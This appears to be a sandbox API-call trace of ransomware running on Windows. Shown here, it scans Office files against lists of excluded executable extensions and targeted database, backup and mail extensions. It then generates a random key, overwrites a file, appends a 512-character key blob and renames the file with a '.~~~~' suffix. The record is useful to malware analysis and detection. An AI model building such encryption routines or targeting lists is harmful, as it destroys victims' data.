	[0135.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".sys") returned 0x0
	[0135.579] lstrlenW (lpString=".msc") returned 4
	[0135.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".msc") returned 0x0
	[0135.579] lstrlenW (lpString=".com") returned 4
	[0135.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".com") returned 0x0
	[0135.579] lstrlenW (lpString=".lnk") returned 4
	[0135.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".lnk") returned 0x0
	[0135.579] lstrlenW (lpString=".msp") returned 4
	[0135.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".msp") returned 0x0
	[0135.579] lstrlenW (lpString=".pif") returned 4
	[0135.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".pif") returned 0x0
	[0135.579] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0135.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0135.581] lstrlenW (lpString=".sqb") returned 4
	[0135.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".sqb") returned 0x0
	[0135.581] lstrlenW (lpString=".ost") returned 4
	[0135.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".ost") returned 0x0
	[0135.582] lstrlenW (lpString=".txt") returned 4
	[0135.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".txt") returned 0x0
	[0135.582] lstrlenW (lpString=".mdt") returned 4
	[0135.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".mdt") returned 0x0
	[0135.582] lstrlenW (lpString=".BDB") returned 4
	[0135.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".BDB") returned 0x0
	[0135.582] lstrlenW (lpString=".eql") returned 4
	[0135.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".eql") returned 0x0
	[0135.582] lstrlenW (lpString=".DBF") returned 4
	[0135.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".DBF") returned 0x0
	[0135.582] lstrlenW (lpString=".EQL") returned 4
	[0135.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".EQL") returned 0x0
	[0135.582] lstrlenW (lpString=".FDB") returned 4
	[0135.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".FDB") returned 0x0
	[0135.582] lstrlenW (lpString=".EDB") returned 4
	[0135.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".EDB") returned 0x0
	[0135.582] lstrlenW (lpString=".DACPAC") returned 7
	[0135.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0135.582] lstrlenW (lpString=".VHD") returned 4
	[0135.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".VHD") returned 0x0
	[0135.583] lstrlenW (lpString=".DBV") returned 4
	[0135.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".DBV") returned 0x0
	[0135.583] lstrlenW (lpString=".dacpac") returned 7
	[0135.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0135.583] lstrlenW (lpString=".sdf") returned 4
	[0135.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".sdf") returned 0x0
	[0135.583] lstrlenW (lpString=".accdb") returned 6
	[0135.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".accdb") returned 0x0
	[0135.583] lstrlenW (lpString=".DBX") returned 4
	[0135.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".DBX") returned 0x0
	[0135.583] lstrlenW (lpString=".MDT") returned 4
	[0135.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".MDT") returned 0x0
	[0135.583] lstrlenW (lpString=".SQB") returned 4
	[0135.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".SQB") returned 0x0
	[0135.583] lstrlenW (lpString=".vhd") returned 4
	[0135.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".vhd") returned 0x0
	[0135.583] lstrlenW (lpString=".bac") returned 4
	[0135.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".bac") returned 0x0
	[0135.583] lstrlenW (lpString=".mdf") returned 4
	[0135.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".mdf") returned 0x0
	[0135.583] lstrlenW (lpString=".BAK") returned 4
	[0135.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".BAK") returned 0x0
	[0135.583] lstrlenW (lpString=".BAC") returned 4
	[0135.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".BAC") returned 0x0
	[0135.583] lstrlenW (lpString=".dbs") returned 4
	[0135.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".dbs") returned 0x0
	[0135.583] lstrlenW (lpString=".vhdx") returned 5
	[0135.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0135.583] lstrlenW (lpString=".NDF") returned 4
	[0135.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".NDF") returned 0x0
	[0135.584] lstrlenW (lpString=".dat") returned 4
	[0135.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".dat") returned 0x0
	[0135.584] lstrlenW (lpString=".DBS") returned 4
	[0135.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".DBS") returned 0x0
	[0135.584] lstrlenW (lpString=".CKP") returned 4
	[0135.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".CKP") returned 0x0
	[0135.584] lstrlenW (lpString=".edb") returned 4
	[0135.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".edb") returned 0x0
	[0135.584] lstrlenW (lpString=".PST") returned 4
	[0135.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".PST") returned 0x0
	[0135.584] lstrlenW (lpString=".dbf") returned 4
	[0135.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".dbf") returned 0x0
	[0135.584] lstrlenW (lpString=".SQL") returned 4
	[0135.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".SQL") returned 0x0
	[0135.584] lstrlenW (lpString=".pst") returned 4
	[0135.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".pst") returned 0x0
	[0135.584] lstrlenW (lpString=".dbv") returned 4
	[0135.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".dbv") returned 0x0
	[0135.584] lstrlenW (lpString=".SDF") returned 4
	[0135.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".SDF") returned 0x0
	[0135.584] lstrlenW (lpString=".dtxs") returned 5
	[0135.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0135.584] lstrlenW (lpString=".db3") returned 4
	[0135.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".db3") returned 0x0
	[0135.585] lstrlenW (lpString=".OST") returned 4
	[0135.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".OST") returned 0x0
	[0135.585] lstrlenW (lpString=".dbx") returned 4
	[0135.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".dbx") returned 0x0
	[0135.585] lstrlenW (lpString=".DB3") returned 4
	[0135.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".DB3") returned 0x0
	[0135.585] lstrlenW (lpString=".DAT") returned 4
	[0135.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".DAT") returned 0x0
	[0135.585] lstrlenW (lpString=".VHDX") returned 5
	[0135.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0135.585] lstrlenW (lpString=".ndf") returned 4
	[0135.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".ndf") returned 0x0
	[0135.585] lstrlenW (lpString=".DB") returned 3
	[0135.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".DB") returned 0x0
	[0135.585] lstrlenW (lpString=".sql") returned 4
	[0135.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".sql") returned 0x0
	[0135.585] lstrlenW (lpString=".MYD") returned 4
	[0135.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".MYD") returned 0x0
	[0135.585] lstrlenW (lpString=".DBT") returned 4
	[0135.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".DBT") returned 0x0
	[0135.585] lstrlenW (lpString=".ACCDB") returned 6
	[0135.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0135.585] lstrlenW (lpString=".fdb") returned 4
	[0135.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".fdb") returned 0x0
	[0135.585] lstrlenW (lpString=".bak") returned 4
	[0135.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".bak") returned 0x0
	[0135.585] lstrlenW (lpString=".myd") returned 4
	[0135.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".myd") returned 0x0
	[0135.585] lstrlenW (lpString=".DTXS") returned 5
	[0135.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0135.586] lstrlenW (lpString=".ckp") returned 4
	[0135.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".ckp") returned 0x0
	[0135.586] lstrlenW (lpString=".dbt") returned 4
	[0135.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".dbt") returned 0x0
	[0135.586] lstrlenW (lpString=".db") returned 3
	[0135.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".db") returned 0x0
	[0135.586] lstrlenW (lpString=".TXT") returned 4
	[0135.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".TXT") returned 0x0
	[0135.586] lstrlenW (lpString=".MDF") returned 4
	[0135.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".MDF") returned 0x0
	[0135.586] lstrlenW (lpString=".bdb") returned 4
	[0135.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".bdb") returned 0x0
	[0135.586] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0135.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.586] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0fb0) returned 1
	[0135.587] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.587] CryptReleaseContext (hProv=0x3a0fb0, dwFlags=0x0) returned 1
	[0135.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0135.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0135.588] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25557781730) returned 1
	[0135.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xba412e90, dwHighDateTime=0x1d60e1e)) 
	[0135.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0135.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0135.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0135.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4a18
	[0135.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4a18 | out: hHeap=0x300000) returned 1
	[0135.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8268
	[0135.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.599] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0135.599] GetLastError () returned 0x0
	[0135.599] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0135.599] GetLastError () returned 0x0
	[0135.616] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffffd89, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.616] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x277, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x277, lpOverlapped=0x0) returned 1
	[0135.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0135.616] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.616] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.617] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.617] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.617] CloseHandle (hObject=0xc4) returned 1
	[0135.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0135.617] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc.~~~~")) returned 1
	[0135.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0135.620] GetLastError () returned 0x0
	[0135.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0135.620] lstrlenW (lpString=".cmd") returned 4
	[0135.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0135.620] lstrlenW (lpString=".dll") returned 4
	[0135.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0135.620] lstrlenW (lpString=".bat") returned 4
	[0135.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0135.621] lstrlenW (lpString=".cpl") returned 4
	[0135.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0135.621] lstrlenW (lpString=".sys") returned 4
	[0135.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0135.621] lstrlenW (lpString=".msc") returned 4
	[0135.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0135.621] lstrlenW (lpString=".com") returned 4
	[0135.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".com") returned 0x0
	[0135.621] lstrlenW (lpString=".lnk") returned 4
	[0135.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0135.621] lstrlenW (lpString=".msp") returned 4
	[0135.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0135.621] lstrlenW (lpString=".pif") returned 4
	[0135.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0135.621] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0135.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0135.624] lstrlenW (lpString=".sqb") returned 4
	[0135.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0135.624] lstrlenW (lpString=".ost") returned 4
	[0135.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0135.624] lstrlenW (lpString=".txt") returned 4
	[0135.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0135.624] lstrlenW (lpString=".mdt") returned 4
	[0135.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0135.624] lstrlenW (lpString=".BDB") returned 4
	[0135.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0135.624] lstrlenW (lpString=".eql") returned 4
	[0135.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0135.624] lstrlenW (lpString=".DBF") returned 4
	[0135.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0135.624] lstrlenW (lpString=".EQL") returned 4
	[0135.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0135.624] lstrlenW (lpString=".FDB") returned 4
	[0135.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0135.625] lstrlenW (lpString=".EDB") returned 4
	[0135.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0135.625] lstrlenW (lpString=".DACPAC") returned 7
	[0135.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0135.625] lstrlenW (lpString=".VHD") returned 4
	[0135.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0135.625] lstrlenW (lpString=".DBV") returned 4
	[0135.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0135.625] lstrlenW (lpString=".dacpac") returned 7
	[0135.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0135.625] lstrlenW (lpString=".sdf") returned 4
	[0135.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0135.625] lstrlenW (lpString=".accdb") returned 6
	[0135.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0135.625] lstrlenW (lpString=".DBX") returned 4
	[0135.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0135.625] lstrlenW (lpString=".MDT") returned 4
	[0135.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0135.625] lstrlenW (lpString=".SQB") returned 4
	[0135.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0135.625] lstrlenW (lpString=".vhd") returned 4
